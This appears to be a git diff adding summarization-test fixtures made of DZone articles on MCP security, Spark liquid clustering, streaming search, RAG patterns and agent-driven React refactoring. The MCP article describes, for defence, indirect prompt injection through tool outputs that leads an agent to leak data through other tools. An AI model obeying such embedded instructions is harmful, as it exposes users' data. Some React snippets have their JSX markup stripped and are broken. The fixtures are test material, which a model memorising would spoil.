b/tests/summarization/https___dzone.com_articles_mcp-security-governance-opportunity.txt @@ -0,0 +1,2 @@ +The first time I wired an agent to real enterprise systems, it felt like I'd unlocked a cheat code. I had a clean, repeatable pattern: the model asks, a server answers, and suddenly the agent can do things. Then the uncomfortable thought hit: If I can plug in a new tool in an afternoon, an attacker can too. That's the real shift MCP brings. It doesn't just make tool access easier. It standardizes the most dangerous part of an agentic system: the interface between language and action. And in enterprises, anything that becomes standardized plumbing becomes… a security boundary. MCP in One Minute The Model Context Protocol (MCP) is an open protocol for connecting LLM apps (clients/hosts) to external tools and data sources (servers). It uses a client–server architecture and JSON-RPC 2.0 messages for communication. In practice, MCP lets an app expose: Tools (functions the model can call) Resources (data the model can read) Prompts (reusable instruction templates) And it supports different transport methods depending on whether you're local or remote (for example, stdio for local subprocess-style servers, and server-sent events for remote connections). If you've read my "RAG vs tools vs tuning" decision tree, MCP sits squarely in the tools bucket, but it pushes tools from "one-off integrations" into "an ecosystem." That ecosystem effect is exactly why this becomes a security story. The Uncomfortable Truth: MCP Turns Integrations Into an Attack Surface Enterprises already know how to secure APIs. They know how to secure service accounts. They know how to secure laptops. But MCP combines multiple risks into one pipeline: Natural language decision-making (easy to manipulate) Tool execution (real power) Data access (often sensitive) Third-party servers (supply chain) Untrusted content flowing into the model (prompt injection) OWASP's LLM Top 10 has names for these exact failure modes: prompt injection, insecure output handling, supply chain vulnerabilities, and more. MCP doesn't create these risks, but it makes them scalable. Threat Model: How MCP Fails in the Real World Here are the enterprise-grade failure patterns I worry about most. Not theoretical "AI doom." Just practical, embarrassing, breach-y stuff. 1. Permission Confusion: "Who Is the Model Acting As?" In many first drafts of agent systems, tool calls run under a single powerful service account. That's convenient… and catastrophic. Because the moment a user can influence the model (and they can), you've built a "natural-language privilege escalation" machine: the user doesn't need direct access to the underlying system; they only need the model to use its access on their behalf. In enterprise terms: you've violated least privilege and lost non-repudiation. What you want instead: Tool calls must be tied to an end-user identity (or an explicitly delegated identity). Permissions should be enforced at the tool/server, not “by instruction.” The model should never hold raw credentials; it should receive scoped tokens or call through a broker. This aligns with how modern systems treat sensitive actions: identity and authorization are enforced outside the app logic. 2. Tool Scoping Failure: "Too Much Agency, Too Few Guardrails." Tool catalogs tend to grow. That’s the point of MCP: add servers, discover tools, go faster. But broad toolsets create what OWASP flags as “Excessive Agency” style failure: the model has too many ways to cause harm. Classic enterprise examples: A helpful agent that can both read and write to the same system Tools that can export data to external destinations (email, pastebin-like endpoints, public repos) Tools that can run shell commands or touch production resources Once you connect real systems, the main question becomes: What is the smallest set of actions the model needs to achieve the job? 3. Prompt Injection Through Tool Results: "The tool output is hostile." This is the one that makes MCP a security problem, not just an engineering choice. Indirect prompt injection is when malicious instructions are embedded in content that the model treats as "data," such as web pages, documents, tickets, emails, or… tool outputs. OWASP calls prompt injection the top risk category for LLM apps for a reason. Microsoft's own security write-up is explicit: if your app can use tools, a successful injection can lead to data exfiltration through tool calls (or even covert channels based on whether a tool call happens). With MCP, this becomes sharper: A server returns "results." Those results may include attacker-controlled text (issue comments, PR descriptions, wiki pages, customer messages) The model follows instructions embedded in that text The model then uses other tools to leak data or take actions The security principle here is simple: Treat tool outputs as untrusted input. That's not how most people build v1 agents. 4. Audit Log Gaps: "We Can't Explain What Happened." When something goes wrong in enterprise systems, the first questions are always: Who did it? What did they access? Where did the data go? Can we reproduce it? Can we prove it? Most agent prototypes can't answer those questions. And MCP can make it worse if you have multiple servers, multiple tool calls, and no unified tracing. You get a mess of partial logs: some in the host app, some in each server, some in cloud provider logs. Without auditability, you can't do incident response. You can't do compliance. You can't do governance. 5. Supply Chain Risk: "Installing MCP Servers Is Installing Software." MCP encourages an ecosystem of servers. Some are internal. Many are third-party. Some are "download this repo and run it." In the stdio transport, the client can launch an MCP server as a subprocess, and the server reads and writes messages over stdin/stdout. That's powerful and ergonomic and also means: The server runs with the privileges of the process launching it It may have access to the local filesystem, environment variables, network, and secrets, depending on your setup So, yes: in many deployments, adding an MCP server is operationally similar to installing a new executable. Enterprises already have processes for that (code signing, provenance checks, vulnerability scanning, approvals). MCP adoption should inherit those processes, not bypass them. Why This Is a Governance Opportunity Here's the good news: MCP's "standard connector layer" can become a gift to security teams. Because once tool access becomes standardized, you can centralize controls. Think about what API gateways did for the modern enterprise: unified auth rate limits logging request policies threat detection versioning MCP is heading in the same direction. With the growing industry push toward shared agent standards and community governance (including efforts to keep MCP open and neutral under broader foundations), the ecosystem is getting real enough that enterprises should design for governance from day one, not as a patch later. The Enterprise MCP Security Playbook Put a “tool gateway” in the middle. Make end-user identity non-optional. Split tools by risk class (read vs. write vs. irreversible). Treat tool outputs like hostile web input. Logging that helps incident response (without leaking secrets). The Point: Tools Aren't Features Anymore, They're Infrastructure In my decision-tree mindset, "tools vs. tuning vs. RAG" is about picking the right lever. MCP changes what "tools" really means. Tools stop being a feature in one app and start becoming shared infrastructure across many apps and many teams. Infrastructure needs: threat models governance auditability lifecycle management security ownership If you treat MCP as "just a convenient plugin layer," you'll eventually learn about prompt injection, data leakage, and privilege boundaries the hard way. If you treat MCP as "the new enterprise integration bus for agents," you can actually win: central control consistent security policies reusable approvals and logging faster adoption with fewer surprises That's why I call it a security problem and a governance opportunity. Learned something new? Tap that like button and pass it on! +============== diff --git a/tests/summarization/https___dzone.com_articles_merge-liquid-clustering-common-issues.txt b/tests/summarization/https___dzone.com_articles_merge-liquid-clustering-common-issues.txt new file mode 100644 index 0000000..6142266 --- /dev/null +++ b/tests/summarization/https___dzone.com_articles_merge-liquid-clustering-common-issues.txt @@ -0,0 +1,2 @@ +As a Spark support engineer, I still encounter many cases where MERGE or JOIN operations on Delta tables do not perform as expected, even when liquid clustering is used. While liquid clustering is a significant improvement over traditional partitioning and offers many advantages, people still sometimes struggle with it. There is often an assumption that enabling liquid clustering will automatically result in efficient merges, but in practice, this is not always true, and the reason is a lack of understanding. Here are the most common issues when executing a merge on a liquid clustering table. 1. Clustering By a Key, Merging by Another This is one of the most straightforward and common problems. If a table is clustered by one key but the MERGE condition uses a different key, liquid clustering cannot help. When the merge key is not part of the clustering keys, Spark is generally unable to prune files when scanning the target table. Each incoming key must be searched across the entire dataset. As a result, Spark often performs a full scan and falls back to a Sort Merge Join or, when the dataset is small enough, a Broadcast Nested Loop Join, both of which can be expensive at scale. 2. Clustering by Multiple Keys, Merging By Only One In some cases, users do merge on a clustering key but still observe little or no pruning. A frequent cause is clustering on multiple columns. Liquid clustering relies on indexing, but adding more clustering keys dilutes the effectiveness of the index for each individual column. Instead of having a strong index on a single dimension, the data layout is optimized across combinations of keys. When a merge filters on only one of those keys, pruning becomes much less effective. Clustering by a single index Clustering by multiple indexes 3. Clustering and Merging on the Same Key, But the Key Has No Natural Order Liquid clustering is well-suited for high-cardinality dimensions, but the type of key still matters. If the clustering key does not have a logical or natural order, it may not behave well as a merge key. Date or timestamp columns are usually excellent candidates. For example, merging data from only the previous month into a table clustered by date allows Spark to prune most of the files efficiently. By contrast, consider a user ID represented as a UUID. Even if the table is clustered by this column, pruning will likely be minimal. Liquid clustering indexes data using value ranges. Dates have a natural ordering, so filtering by a range maps cleanly to those indexes. UUIDs, however, are effectively random, causing most ranges to overlap and forcing Spark to scan a large portion of the table. 4. Clustering and Merging by an Ordered Key, But It Has a Very Wide Merge Range There are cases where users correctly cluster and merge on an ordered key, such as a creation date, yet the merge still takes a long time. In these scenarios, the issue often lies in the incoming dataframe rather than the target table. Liquid clustering uses min–max ranges to index data files. If the incoming dataset contains values spanning a very large range, for example, dates from three years ago through today, those ranges overlap many indexed files. This overlap significantly reduces pruning and results in large scans despite correct clustering. 5. Complex or Non-Pushdown-Friendly Filtering Conditions One of the common ways to force pruning is to use hard-coded filtering inside the merge condition or right before doing the merge. That is indeed a very good solution to help Spark AQE understand which files can be skipped; however, it doesn’t always work. Even when it appears that Spark should be able to skip files, it sometimes cannot. A common reason is overly complex filtering logic. Filters involving functions, casts, nested expressions, or non-deterministic logic can prevent predicate pushdown and make it difficult for Spark to reason about value ranges. When Spark cannot translate filters into simple range predicates, file skipping becomes ineffective. Since this post is already quite long, I’ll write a separate one with examples of such complex filtering conditions. In case you do use complex conditions, though, one of the things that can help is to enable Photon on the cluster. Photon has some performance improvements that work in such cases. Recommendations The most important advice is when designing a merge on a liquid clustered table, keep in mind the two sides of the merge — the target table and the merged dataframe. Try to see how you can make sure that the range of values of the key in the merged dataframe will be pulled by Spark from only a limited number of files. Here are some practical practices you can follow: Use a merge key that is also a clustering key. Minimize the number of clustering keys. Prefer clustering keys with a logical order (such as dates or timestamps). Keep the value range of the merge key in the incoming dataframe as narrow as possible. Apply filters early, ideally before the merge or directly in the merge condition. Keep filtering conditions as much as possible. Regularly optimize the table to maintain an efficient layout. Liquid clustering is a powerful optimization, but its effectiveness depends heavily on how well the clustering strategy aligns with merge patterns and data characteristics. Understanding these trade-offs is key to avoiding unexpected performance bottlenecks. +============== diff --git a/tests/summarization/https___dzone.com_articles_no-buffering-strategy-streaming-search-results.txt b/tests/summarization/https___dzone.com_articles_no-buffering-strategy-streaming-search-results.txt new file mode 100644 index 0000000..7dd5093 --- /dev/null +++ b/tests/summarization/https___dzone.com_articles_no-buffering-strategy-streaming-search-results.txt @@ -0,0 +1,2 @@ +The "Buffering" Problem Let’s draw a parallel to video streaming. Modern protocols break the video into small, ordered chunks. This allows the client to render content immediately while the rest buffers in the background. The total data and the download time stay roughly the same, but the perceived speed improves dramatically. Complex search engines can be architected in a similar streaming fashion. Traditionally, search is a request-response cycle. The user hits enter, and the server gathers every possible result — the near-instant top results, fast results from dictionary lookups, and slow, complex AI-driven rankings and embedding-based matches. These results are then merged into a massive JSON blob and sent to the client for rendering. For the user, this manifests as a state of buffering, which is effectively just waiting for the slowest result to be available, with either a blank screen or a loading spinner. Streaming search borrows directly from video streaming logic. Instead of batching all results into a single response to be rendered in one go, the system streams results as they become available on the backend. Think of it as the slow/fast call orchestration on steroids. Why Do It? Streaming search hinges on a simple operational principle: different types of search hits have different processing times. In a modern search architecture, a single query might trigger specific lookups across many different systems to compose the search landing page: Deterministic results: Instant results inferred from the click on the typeahead. Knowledge cards: Pre-computed information for the top result, e.g., a celebrity bio or details of a movie. Organic search: The traditional inverted index lookup, which is moderately fast. AI/LLM clusters: Generative summaries or semantic reranking, which are computationally expensive and slow. In a traditional blocking architecture, the speed of the response is determined by the slowest component (often the AI layer). By the time the user sees anything, they've already waited for everything. When does streaming make sense? High variance in backend latency: When the Search Results Page is blending sub-millisecond key-value lookups with multi-second LLM operations. Mobile-first contexts: Where perceived latency is critical. Seeing something on screen (like a navigation card) instantly prevents the user from bouncing, even if the main result list takes more time to load. Complex UI composition: When the search results page is composed of distinct "clusters" rather than a single homogeneous list. How It Works: The Pub/Sub Model To implement this, we move away from a strictly synchronous HTTP GET request and lean into a Publisher/Subscriber (Pub/Sub) model. Here is a generalized workflow of how a streaming search transaction occurs: 1. The Subscription Handshake When a user searches, the client doesn't just request data once. Instead, it opens a continuous line of communication. It subscribes to a unique "topic" — essentially a private channel for that specific search session — using connections such as WebSockets, Server-Sent Events (SSE), or gRPC. 2. Context Fetching and Federation Invocation The Search Gateway (the app frontend service) receives the request. Before querying the indexes, it prefetches necessary context: user entitlements, enrollment info, and blocked entity lists. It then forwards the query and the context to the Search Federation, which runs the actual Search. 3. Asynchronous Processing This is where the magic happens. The Search Federation Service acts as an orchestrator. It knows that some result clusters are deterministic and fast, while others require complex fetching and blending logic. Fast path: Instant and deterministic results (e.g., the hero result, a "People also searched for" cluster) are resolved immediately. Slow path: The core search indexes are queried, results are scored, and AI reranking models apply their logic. The performance of these search indexes can also vary widely — some can return results in a few milliseconds while others can take a longer time. 4. The "Publish" Trigger Critically, the Federation Service does not wait to collect all results. As soon as any cluster is resolved — whether it's the fast path or the slow path — it is immediately published to the internal message dispatcher (the Pub/Sub topic). 5. Client Consumption The raw data being published is then decorated and pushed to the topic the client subscribed to in step 1. The client's UI framework listens to this stream. As distinct clusters arrive, they are dynamically injected into the DOM. The user sees the header, instant results, and fast clusters, while deep search results populate later. Architectural Considerations While the UX benefits are clear, this approach introduces complexity that must be managed: Layout shift: If results arrive out of order, the UI might jump around, frustrating the user. Skeleton loaders or reserved screen real estate can be used for slower components to ensure the interface remains stable as data streams in. State management: The client can no longer rely on a single onLoad event. The frontend state manager must be able to merge incoming partial data structures without overwriting existing state. Connection overhead: Maintaining persistent connections (WebSockets, SSE) for millions of users demands significantly more resources than stateless HTTP requests. To scale effectively, the backend must leverage non-blocking I/O or lightweight threading models (like Akka Actors) to manage high concurrency without resource exhaustion. Error handling: In a streaming model, "success" is not binary. What happens if the header loads, but the organic results fail? The UI needs granular error states for individual components rather than a generic "Something went wrong" page. Conclusion Streaming search results is more than just a performance optimization; it is a shift in how we perceive data delivery. By acknowledging that not all data is created equal and not all data takes the same amount of time to fetch, we can decouple the user's perception of speed from the backend's actual processing time. Much like video streaming revolutionized media consumption, streaming search creates interfaces that feel alive, responsive, and immediate, even when the underlying computation is heavy. +============== diff --git a/tests/summarization/https___dzone.com_articles_rag-ai-for-ai-builders.txt b/tests/summarization/https___dzone.com_articles_rag-ai-for-ai-builders.txt new file mode 100644 index 0000000..8838fbb --- /dev/null +++ b/tests/summarization/https___dzone.com_articles_rag-ai-for-ai-builders.txt @@ -0,0 +1,2 @@ +Large language models are exceptionally good at producing fluent text. They are not, by default, good at staying current, respecting boundaries of private knowledge, or documenting the sources of an answer. That gap is exactly where most AI products fail: the demo looks impressive, but the system is not trustworthy when users rely on it. Retrieval-augmented generation (RAG) closes the gap by designing an evidence path. Instead of letting the model “reason from memory,” you route the request through retrieval, enforce access rules, collect supporting sources, and then ask the model to answer from those sources with citations. In practice, RAG is less about prompting and more about engineering: a data pipeline, a contract, and an operational loop. What RAG Means in Practice At its simplest, RAG is two steps: retrieval finds evidence, and generation writes an answer constrained by that evidence. Figure 1: RAG in one picture: retrieve → generate When you build RAG, you are designing the request path end-to-end: the system receives a question (often with conversation state and permissions), retrieves candidate evidence (chunks, entities, tickets, tables, logs), assembles context (dedupe, rank, filter, format, budget tokens), and produces an answer that is auditable (citations, traces, and metrics). That audit trail is the difference between “it answered” and “we can explain why it answered.” Why RAG Is An Architecture (Not a Feature) RAG exists because two things are true at the same time: Retrieval is brittle. If you retrieve the wrong evidence, the answer will be wrong. If you retrieve a mixture of relevant and irrelevant chunks, the model often averages them into a plausible but incorrect response. Generation is persuasive. Even with strong evidence, models can overgeneralize, skip qualifiers, or invent bridging statements. You need a prompting-and-citation contract that constrains behavior, plus guardrails to handle “no evidence” and “low confidence” cases. Sound RAG systems solve both problems: high-recall, high-precision retrieval and grounded, scoped, testable generation. Why Builders Use RAG Training data ages quickly. Your product data, policies, tickets, and runbooks change daily. RAG is how you ship AI when answers must be current, private, and verifiable. It also creates trust at scale because you can inspect what was retrieved, from where, under which access rules, and how strongly the system believed each source was relevant. A Practical Mental Model: The Parts That Decide Quality Most RAG failures are predictable. The most significant levers are (1) how you chunk and label content (structure boundaries and metadata matter as much as size), (2) whether embeddings fit the domain and how you handle drift, (3) how you retrieve (vector, hybrid, multi-vector, or graph traversal), and (4) how you filter and rerank (precision gates). Once you have candidates, the remaining work is context assembly (dedupe, diversity, ordering, token budgeting), a generator contract (citations, refusal rules, “use only sources”), and operations (observability, evaluation, regression prevention, re-indexing, and security). Core RAG Patterns RAG is not one architecture. It is a family of patterns trading off latency, cost, control, and correctness. The best approach depends on what “failure” means in your product: a harmless mistake in a consumer chatbot is very different from a mistake in compliance, production troubleshooting, or internal decision-making. Figure 2: The RAG pattern landscape Pattern Comparison PATTERN USE WHEN CORE MOVE EXTRA COMPONENTS TYPICAL COST/LATENCY Basic RAG Single-shot Q&A, docs, FAQ embed → top-k chunking + vector index low Conversational RAG Follow-ups depend on history rewrite → retrieve question rewriter low–medium Filtered RAG Mistakes are expensive retrieve → rerank/filter reranker/filters medium Adaptive RAG Retrieval sometimes hurts route: no-retrieve vs retrieve router + thresholds low–medium Hypothesis-Driven RAG Queries are vague draft → retrieve → refine draft step + guardrails medium Agent-Driven RAG Multi-step work matters plan → retrieve → verify planner + tools + stop rules high Graph-Based RAG Relations drive meaning traverse → explain entity graph + traversal medium–high Basic RAG Basic RAG is the default starting point: embed the question, retrieve top-k chunks, assemble context, and generate with citations. It is the fastest to ship and the easiest to debug because the pipeline is simple and the failure modes are visible. In practice, basic RAG breaks in three common ways. First, chunk mismatch: the answer spans multiple chunks, but you only retrieve one. Second, semantic near-miss: embeddings retrieve something “related” rather than “answering.” Third, context dilution: top-k includes noise, and the model blends it into the response. The most useful early metrics are straightforward: does the top 3 contain the correct source, does the answer cite at least one relevant chunk, and do you correctly refuse when evidence is missing? Conversational RAG Conversational RAG is basic RAG plus one critical step: rewrite the user’s message into a standalone retrieval query based on the chat history. Many follow-ups are not retrievable as written (for example: “what about rate limits?”, “does that apply to enterprise?”, “ok, and what should I do next?”). A rewrite turns pronouns and context into explicit terms: product names, constraints, IDs, and the specific decision being discussed. The key is to treat rewriting as a retrieval tool, not a stylistic improvement. Keep the user’s intent and scope, but make the query searchable. The primary failure mode is rewrite drift: the rewritten query subtly changes the question. The fix is operational, not theoretical: log the raw question and the rewrite, evaluate both, and keep a rollback path when the rewriter behaves badly. Filtered RAG Filtered RAG assumes retrieval returns a mixture of good and bad evidence and adds a quality gate before generation. Instead of trusting the first top-k, you typically retrieve broader (for recall), rerank (for precision), apply policy and access controls, and only then generate from the remaining evidence. Figure 3: Filtered RAG: retrieve, then rerank, then answer This pattern is the default choice when errors are expensive, or the corpus is messy (e.g., duplicates, contradictory documents, or comments mixed with canonical policies). The subtle risk is over-filtering: you can end up with empty evidence. Your generator must treat “no evidence” as a first-class outcome, either refusing, asking a clarifying question, or escalating to a human workflow depending on product needs. Adaptive RAG Adaptive RAG asks a pragmatic question: should we retrieve at all? Some tasks are self-contained (summarizing pasted text, rewriting, formatting). Retrieval adds cost and noise. Adaptive systems route requests to “no retrieval,” “shallow retrieval,” or “deep retrieval,” often starting with simple rules and later transitioning to a learned router. A reliable starting approach is to encode a small set of defensible heuristics: if the user pasted content, skip retrieval; if the question references private topics or internal entities, retrieve; if the system’s confidence is low, retrieve deeper and rerank. The win is cost control without sacrificing correctness for queries that actually require external evidence. Hypothesis-Driven RAG Hypothesis-driven RAG is designed for vague queries. It drafts a provisional interpretation (“this might be about X”), uses that draft to extract missing specifics, retrieves with a sharper query, and then produces a final, cited answer. This tends to work well when users do not know the proper vocabulary or when the domain is messy and intent matters more than keywords. The risk is bias: the draft can steer retrieval in the wrong direction. A practical mitigation is to retrieve using both the original user query and the draft-derived query, then merge and dedupe evidence before generation. Agent-Driven RAG Agent-driven RAG treats retrieval as a plan rather than a single search. The system decomposes the task, issues multiple retrieval calls, reads the results, verifies gaps, and stops when sufficient evidence is obtained. This is powerful for multi-step analysis (compare options and recommend), troubleshooting (diagnose, propose a fix, and validate), and research with branching paths. Figure 4: Agent-driven RAG loop The most significant engineering requirement here is a stop condition. Without a clear budget and diminishing-returns check, agents spiral into cost. Production systems use explicit ceilings (max tool calls, max tokens, max latency) plus an evidence threshold (“new evidence is no longer changing the answer”) to end the loop predictably. Graph-Based RAG Graph-based RAG is suitable for domains where relationships carry meaning, such as ownership, dependencies, citations, policy applicability, and lineage. Instead of retrieving only by similarity, you retrieve by traversal: identify starting entities, walk edges (depends_on, owned_by, authored_by, cites), and collect a subgraph as evidence. The output is often stronger because the system can explain why a source is relevant, rather than merely that it is similar. Figure 5: Graph-based RAG: traverse relations, then explain The operational risk is freshness and coverage. Graphs can encode bias and incompleteness. If edges are missing or stale, the reasoning chain breaks. You should monitor the graph update lag and validate coverage for the entity types that users ask about the most. How to Pick the Right Pattern Start with basic RAG and make it measurable. Add conversational rewriting only when follow-ups are standard. Add reranking and filtering when mistakes are expensive, or the corpus is noisy. Use adaptive routing when you have mixed workloads and need to control cost. Choose hypothesis-driven retrieval when queries are vague and ambiguous. Use agents when multi-step work is the product, not an implementation detail. Use graphs when relationships must be explained, and a similarity search alone can’t answer “why.” Figure 6: Picking the correct RAG pattern Operational Reality: What Makes RAG Boring and Reliable Most “RAG improvements” are operational. A working demo is not a working system. The difference is disciplined data preparation, evaluation, and observability. Figure 7: RAG is architecture plus operations Treat operations as part of the architecture. The checklist below helps keep RAG systems stable as the corpus, traffic, and product expectations grow. Chunking and metadata: Tune chunk size and overlap per document type, preserve structure (headings, tables, code blocks), and retain metadata boundaries (source, version, ownership, access labels) so retrieval can be filtered and audited. Embedding drift and versioning: Drift is inevitable. Choose a re-embedding strategy (versioned embeddings, rolling updates, or periodic rebuilds) and record embedding/model versions in metadata so you can reproduce results and manage migrations. Index health: As the corpus grows, indexing latency and recall can change. Monitor both continuously and retune index parameters over time rather than treating them as “set and forget.” Evaluation and regressions: Maintain a fixed, curated evaluation set (queries, expected sources, and “should refuse” cases). Run regression evals after any change to chunking, embeddings, retrieval parameters, or reranking. Quality telemetry: Track citation coverage, empty-retrieval rate, reranker hit rate, and refusal quality so you can detect quality declines before users do. Security and access control: Enforce access control at retrieval time (not after generation) so unauthorized context never enters the prompt. End-to-end tracing: Log the whole trace from query → retrieved ids → scores → final context → answer so incidents are debuggable and improvements are measurable. Conclusion RAG shifts AI from storyteller to assistant by making evidence, permissions, and evaluation part of the product. The pattern you choose sets the tradeoffs you will live with: basic RAG optimizes for speed and debuggability, reranking and filtering by precision when stakes are higher, adaptive routing controls cost on mixed workloads, agents unlock multi-step work at the price of orchestration, and graphs add relational explainability when similarity alone is not enough. Whatever you choose, reliability stems from operational discipline: structure-aware chunking, versioned embeddings, measurable retrieval quality, correctness of refusal, and end-to-end tracing from query to sources to answer. Please start with the simplest architecture that meets the requirements, make it observable and testable, and add complexity only when it yields a clear, repeatable improvement in outcomes. References www.neurondb.ai – Project Homepage https://github.com/neurondb – Source code repo +============== diff --git a/tests/summarization/https___dzone.com_articles_refactoring-react-monolith-with-autonomous-agents.txt b/tests/summarization/https___dzone.com_articles_refactoring-react-monolith-with-autonomous-agents.txt new file mode 100644 index 0000000..3422c7e --- /dev/null +++ b/tests/summarization/https___dzone.com_articles_refactoring-react-monolith-with-autonomous-agents.txt @@ -0,0 +1,121 @@ +I've been wrangling React codebases professionally for well over ten years now, and honestly, the story is always the same in 2026: teams inherit these massive, everything-in-one-place apps built back when Create React App felt like the future. All the logic — auth, shopping cart, product lists, user profiles — lives in a handful of giant files. Props get drilled six levels deep, the state is scattered, and nobody wants to touch it because one wrong move brings the whole thing down. Last year, I led a refactor on a five-year-old dashboard exactly like that. We managed to break it into proper feature slices and even laid the groundwork for microfrontends. The thing that made the biggest difference? A multi-agent AI setup that did a lot of the heavy lifting for us. It wasn't magic — it still needed human eyes — but it turned a three-month nightmare into something we wrapped in five weeks. In this piece, I'll walk you through how I built that system. We'll take a messy little React monolith (the kind you see everywhere) and let a team of AI agents analyze it, plan the refactor, write the new modular code, add tests, and review everything. We'll use LangGraph to orchestrate the agents and Claude 3.5 Sonnet as the LLM (though GPT-4o works fine too). What You'll Need Nothing exotic: Node 20+ and your package manager of choice. Python for the agent orchestration (LangChain/LangGraph live there — it's still the most reliable option). An Anthropic API key (or OpenAI). Just export it as ANTHROPIC_API_KEY. Git and VS Code. I lean heavily on the Cursor extension these days for quick diff reviews. Grab the sample app we'll be working with — a tiny e-commerce dashboard where login, product list, and cart are all crammed into src/App.js. It's deliberately ugly, but painfully realistic. Here's the heart of the mess: JavaScript import React, { useState } from 'react'; +import './App.css'; + +function App() { + const [user, setUser] = useState(null); + const [cart, setCart] = useState([]); + const [products] = useState([{ id: 1, name: 'Widget', price: 10 }]); + + const login = (username, password) => { + if (username === 'admin') setUser({ username }); + }; + + const addToCart = (product) => { + setCart([...cart, product]); + }; + + return ( +
+ {!user ? ( +
{ e.preventDefault(); login(e.target.username.value, e.target.password.value); }}> + + + +
+ ) : ( + <> +

Welcome, {user.username}

+
+

Products

+ {products.map(p => ( +
+ {p.name} - ${p.price} + +
+ ))} +
+
+

Cart ({cart.length})

+ {/* cart items would go here */} +
+ + )} +
+ ); +} + +export default App; You get the idea: everything lives in one component, auth is fake and insecure, no routing, no code splitting. Why Legacy React Apps Are Such a Pain Most big companies are still running apps that started life pre-React 18. Giant components, prop drilling everywhere, bundle sizes that make mobile users cry. Adding a new feature means touching half the codebase and praying the tests (if they exist) still pass. Agentic workflows help because they can read the whole thing at once, spot patterns we miss when we're deep in the weeds, and churn out consistent modular code faster than any human could. The Agent Team I run five specialized agents that hand work off to each other: Analyzer – reads the code and produces a structured report. Planner – turns that report into concrete steps. Coder – writes the actual refactored files. Tester – generates meaningful tests. Reviewer – catches anything that slipped through. The Analyzer we already made pretty thorough in the last version. Let's spend more time on the two that do the real work: Coder and Tester. Coder Agent This is the one that actually moves code around. I've learned the hard way that vague prompts lead to broken imports and forgotten lazy loading, so I lock it down pretty tight. Here's the system prompt I use: Python coder_prompt = ChatPromptTemplate.from_messages([ + ("system", """You're a senior React engineer whose specialty is cleaning up old monoliths. + +Implement the refactor plan exactly—no creative detours. Rules I always follow: +- Functional components and hooks only. +- Feature-sliced layout: src/features/auth/, src/features/products/, src/features/cart/ +- React Router v6+ with proper and +- Every route component wrapped in React.lazy() + Suspense for code splitting +- Shared state lives in dedicated contexts under src/context/ +- Forms are fully controlled (no e.target.username nonsense) +- Components stay small and focused +- Relative imports must be correct in the new structure +- Don't add new dependencies unless the plan explicitly says so + +Output must be a JSON object: keys are full file paths, values are complete file contents. Include every new or changed file. Nothing else."""), + ("user", """Analysis JSON: {analysis_json} +Original files: {original_files} +Plan: {plan}""") +]) Tester Agent Good tests are what keep me from losing sleep after a refactor. The tester prompt forces realistic RTL/Jest tests: Python tester_prompt = ChatPromptTemplate.from_messages([ + ("system", """You're a frontend testing specialist. Write clean, useful tests with React Testing Library and Jest. + +For every important new or changed component: +- Test rendering and key interactions +- Use proper roles and accessible queries +- Mock contexts when needed +- Include at least one error/empty state test where it makes sense +- Keep tests focused—aim for meaningful coverage, not 100% theater + +Output JSON: keys are test file paths (e.g. src/features/auth/LoginForm.test.jsx), values are full test files."""), + ("user", "Refactored files: {refactored_files}") +]) What Happens When We Run It Feed the original App.js into the workflow. The Analyzer spots the usual suspects — high-severity coupling, oversized component, no code splitting, insecure auth — and gives us a nice JSON plan. Coder takes that plan and produces things like: A proper LoginForm.jsx with controlled inputs Separate ProductsList.jsx and Cart.jsx Context providers for auth and cart An AppRoutes.jsx that looks roughly like this: JavaScript import React, { Suspense } from 'react'; +import { BrowserRouter, Routes, Route, Navigate } from 'react-router-dom'; + +const LoginForm = React.lazy(() => import('./features/auth/LoginForm')); +const ProductsList = React.lazy(() => import('./features/products/ProductsList')); +const Cart = React.lazy(() => import('./features/cart/Cart')); + +function AppRoutes() { + return ( + + Loading...}> + + } /> + } /> + } /> + } /> + + + + ); +} + +export default AppRoutes; Tester then writes solid tests — one of my favorites from a real run: JavaScript import { render, screen, fireEvent } from '@testing-library/react'; +import LoginForm from './LoginForm'; +import { AuthContext } from '../../context/AuthContext'; + +const renderWithContext = (ui, { user = null, login = jest.fn() } = {}) => { + return render( + + {ui} + + ); +}; + +test('submits credentials correctly', () => { + const mockLogin = jest.fn(); + renderWithContext(, { login: mockLogin }); + + fireEvent.change(screen.getByPlaceholderText('Username'), { target: { value: 'admin' } }); + fireEvent.change(screen.getByLabelText(/password/i), { target: { value: 'secret' } }); + fireEvent.click(screen.getByRole('button', { name: /login/i })); + + expect(mockLogin).toHaveBeenCalledWith('admin', 'secret'); +}); The Reviewer usually asks for one or two small tweaks (like adding a redirect after login), we loop back to Coder, and we're done. Running the Tests and Shipping npm test on the generated suite usually passes after the first or second iteration. Bundle size drops noticeably once the lazy loading is in place. I still review every diff in Cursor — AI doesn't get a free pass — but the volume of clean, consistent code it produces is night-and-day compared to doing it all manually. Lessons From the Trenches The detailed, structured prompts are what make this actually usable in real projects. Loose instructions = chaos. JSON output with file paths = easy automation. We've used this pattern on much larger apps (10–15k lines) and consistently needed only minor manual fixes afterward. Important Caveats If You're Thinking of Running This on Your Own Monolith Look, this setup works great on small-to-medium apps (a few hundred to a couple thousand lines), and it's a fantastic way to prototype a refactor or clean up a prototype. But before you point it at your company's million-line dashboard, here are the realities I've run into: Token limits are real. Even Claude 3.5's 200k context window fills up fast on anything bigger than a modest app. You'll need to chunk the codebase — feed in one feature or directory at a time — or build smarter retrieval tools (like vector search over your repo). Full-app refactors in one shot just aren't feasible yet. Hallucinations and subtle bugs happen. The agents are good, but they can invent imports that don't exist, miss edge cases in business logic, or subtly change behavior. Never merge without a thorough human diff review. In our bigger projects, we treat the AI output as a very smart PR draft, not final code. Costs add up. Running multiple agents with long contexts on a large codebase can burn through hundreds of dollars in API credits quickly. Start small and monitor usage. Non-code concerns get ignored. Package.json changes, build config, environment variables, and custom webpack setups — these agents won't touch them unless you explicitly add tools for it. It's best for mechanical refactors. Extracting components, adding routing, introducing contexts, code splitting — these are where it shines. Complex domain logic migrations or performance optimizations still need heavy human involvement. Top-tier companies are experimenting, not relying. Places like Meta, Google, and Amazon are piloting agentic workflows internally, but they're wrapping them in heavy guardrails, custom retrieval systems, and mandatory review gates. Full autonomy on critical monoliths isn't happening yet — think 30–50% productivity boost on targeted tasks, not full replacement. Use this as an accelerator, not a silver bullet. Start with one bounded feature, let the agents propose the changes, review and tweak, then expand. That's how we've gotten real wins without disasters. Wrapping Up If you're staring at a legacy 0 right now, give this approach a shot. It's not about replacing engineers — it's about letting us focus on the hard problems instead of endless boilerplate and busywork. I'd love to hear what your biggest React refactor headache is at the moment. Drop it in the comments — maybe we can figure out how to tackle it next. Happy (and much less painful) refactoring! +============== diff --git 